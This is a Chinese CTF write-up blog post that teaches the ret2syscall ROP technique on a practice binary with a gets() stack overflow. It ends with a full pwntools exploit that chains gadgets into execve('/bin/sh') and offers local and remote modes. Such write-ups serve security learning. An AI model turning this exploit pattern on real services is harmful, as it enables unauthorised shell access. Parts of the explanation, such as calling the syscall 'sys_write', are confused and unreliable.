pwn基础>>Basic ROP>>ret2syscall

 

 

 

 

 

 

 

 

 

  今天学了一手基础ROP中的ret2syscall,拿了道题练手。话不多说,先来看看如何复现 

  首先,打开题目,发现目录下的可执行elf文件。

 

  拖到虚拟机中,使用checksec指令查看文件保护属性

 

 

 

  可以看出没有栈溢出与PIE保护,意味着该程序代码段的地址为静态,不需要动态获取段地址,且可以进行栈溢出攻击接着拖进IDA分析伪代码,先找到main函数。

 

 

 

 

  可以看见main函数下有俩个函数,一个是initt(args, argv, envp),一个是pwnn(),前者是linux内核系统必需的用户级进程,与本题ret2syscall关系不大,不做分析,直接进入pwnn()。

 

 

 

 

  发现一个gets函数,通过对程序的保护属性分析,我们知道没有栈溢出保护,发现可以利用一下gets函数来实现栈溢出攻击,通过任意写返回地址来进行ROP链最开始的一环。

 

  接着开始构思如何构建ROP链,已知我们的核心目的是通过syscall系统调用来获取shell。

  因此,我们需要构建一个通过syscall调用execve(内核级系统调用函数,在这里作用同system())来获取shell的ROP链。

 

  利用工具ROPgadget,来查看当前程序存在的可利用ROP代码片段,指令为 ROPgadget --binary <文件名> --only "pop|ret"

 

 

 

 

 

  使用指令后,出现了一堆pop|ret代码片段的地址。现在不知道需要用到哪些地址,因此得先得思考我们需要调用的核心函数,再考虑如何构建ROP链。

 *

  核心函数为:syscall: sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>))与execve(char *pathname,char *argv[],char *envp[]),

这两个函数的关系为前者调用后者。

 

  接下来,需要分析他使用了哪些寄存器传参,我们知道,64位的常规函数调用约定需要依次使用rdi,rsi, rdx, rcx, r8, r9等寄存器来传递参数

 

  execve(char *pathname,char *argv[],char *envp[])需要传递3个参数,我们只需要控制第一个即可,可知需要控制寄存器rdi的值,获取并控制shell的路径参数值"/bin/sh",这个参数值在程序静态编译的阶段会被读取,因此可以通过IDA从当前程序中检索关键字“shell”,将其找出来;

 

 

 

 

  而sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>))需要4个参数,但它比较特殊,属于内核系统级调用函数,第一个参数是系统调用号,通过rax来传递,调用execve函数就是通过控制这个参数(剩余其他3个参数与常规函数调用一致,分别是通过rdi,rsi,rdx来传递的,可以省略不用管)。

 

  汇总一下需要控制的寄存器,rdi,rsi,rdx,rax。到这里我们已经知道需要选取出相关的pop|ret片段地址,如下图

 

 

   开始构建payload和exp

  

 1 from pwn import *
 2 
 3 mode = 0
 4 url = "127.0.0.1"
 5 port = "8080"
 6 
 7 pop_rax_rdx_rbx_ret=0x478a76
 8 pop_rdi_ret=0x401676
 9 pop_rsi_ret=0x401797
10 binsh_addr=0x4A15A4
11 syscall_addr=0x4003da#可通过IDA检索出,64位关键词为"sys_write"
12 
13 payload="A"*0x18+p64(pop_rdi_ret)+p64(binsh_addr) #stackoverflow & rdi=binsh_addr
14 payload+=p64(pop_rsi_ret)+p64(0) #rsi=0
15 payload+=p64(pop_rax_rdx_rbx_ret)+p64(59)+p64(0)+p64(0)# rax=59:execve的系统调用号,64位为59,32位为11; rdx=0
16 payload+=p64(syscall_addr) #execve("/bin/sh",0,0)
17 
18 #local
19 if mode == 0:
20     p = process("./poc")
21     #gdb.attach(p,"b * main)
22     p.sendlineafter("you show syscall?\n",payload)
23     p.interactive()
24 #remote
25 else:
26     p = remote(url,port)
27     p.sendlineafter("you show syscall?\n",payload)
28     p.interactive()

 

   最后直接运行exp, 成功打穿本地

 

 

posted @ 2021-05-30 23:58  Ph03n1x  阅读(487)  评论(0)    收藏  举报